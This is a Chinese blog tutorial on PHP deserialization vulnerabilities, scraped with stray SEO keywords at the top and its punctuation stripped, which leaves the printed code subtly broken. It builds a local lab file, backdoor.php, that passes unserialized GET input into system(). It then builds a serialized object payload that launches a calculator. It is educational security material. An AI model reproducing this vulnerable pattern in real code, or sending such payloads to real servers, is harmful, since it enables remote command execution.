企业门户网站需求文档,网站seo报表,网站建设招标书,建设网站的好公司关注这个专栏的其他相关笔记#xff1a;[Web 安全] 反序列化漏洞 - 学习笔记-CSDN博客 PHP 反序列化漏洞产生原因 PHP 反序列化漏洞产生的原因就是因为在反序列化过程中#xff0c;unserialize() 接收的值可控。 0x01#xff1a;环境搭建
这里笔者是使用 PhpStudy 搭建的环… 关注这个专栏的其他相关笔记[Web 安全] 反序列化漏洞 - 学习笔记-CSDN博客 PHP 反序列化漏洞产生原因 PHP 反序列化漏洞产生的原因就是因为在反序列化过程中unserialize() 接收的值可控。 0x01环境搭建
这里笔者是使用 PhpStudy 搭建的环境如果环境没有配置好的可以参考下面这篇文章 PHP 环境配置PhpStudy 环境配置 PhpStudy 安装好后开启它的 Apache 服务并定位到它网站的根目录下 将下面的代码保存到 backdoor.php 文件中并放到 PhpStudy 的网站根目录下 # FileName: backdoor.php?phphighlight_file(__FILE__); // 高亮当前文件// 后门 - 程序员自己留的哈class BackDoor {public $command;public function run() {system($this - command); // 执行 command 里的命令}}$command $_GET[cmd];if($command True) {$cmd unserialize($command);$cmd - run();}
然后我们通过浏览器访问上面这个文件如果访问成功就证明环境搭建好了 http://127.0.0.1/backdoor.php 0x02漏洞复现
下面我们就来分析一下下面这个程序的代码其实明摆着就是一个后门只不过传参需要用到序列化的知识后面笔者会以几道 CTF 题目做讲解类型其实差不多 ?phphighlight_file(__FILE__); // 高亮当前文件// 后门 - 程序员自己留的哈class BackDoor {public $command;public function run() {system($this - command); // 执行 command 里的命令}}$command $_GET[cmd]; // 接收一个 GET 型的传参if($command True) { // 如果 $command 不为空就执行$cmd unserialize($command); // 执行反序列化$cmd - run(); // 调用 run() 函数}
我们可以看到目标的 BackDoor 类中有一个 run() 函数是用来执行系统命令的这个命令是通过 BackDoor 中的 $command 属性获取的。
上面这个例子比较简单而且不太真实相信不少小伙伴已经想到了利用思路了我们自己构造一个序列化的对象给 $command 赋一个恶意命令然后序列化后传给 cmd 执行即可。
首先我们从网站上把这个 BackDoor 类当下来然后给 $command 赋予一个执行计算器的命令然后实例化 BackDoor 类并把这个实例化的值进行序列化 ?php// 后门 - 程序员自己留的哈class BackDoor {public $command calc; // 这个命令会弹计算器public function run() {system($this - command); // 执行 command 里的命令}} $backdoor new BackDoor();echo serialize($backdoor); // O:8:BackDoor:1:{s:7:command;s:4:calc;}
如上我们成功拿到了可以执行恶意代码的序列化参数然后把这个参数通过 cmd 传给服务端即可俺承认这个例子不咋地不过基本上反序列化就是这么利用的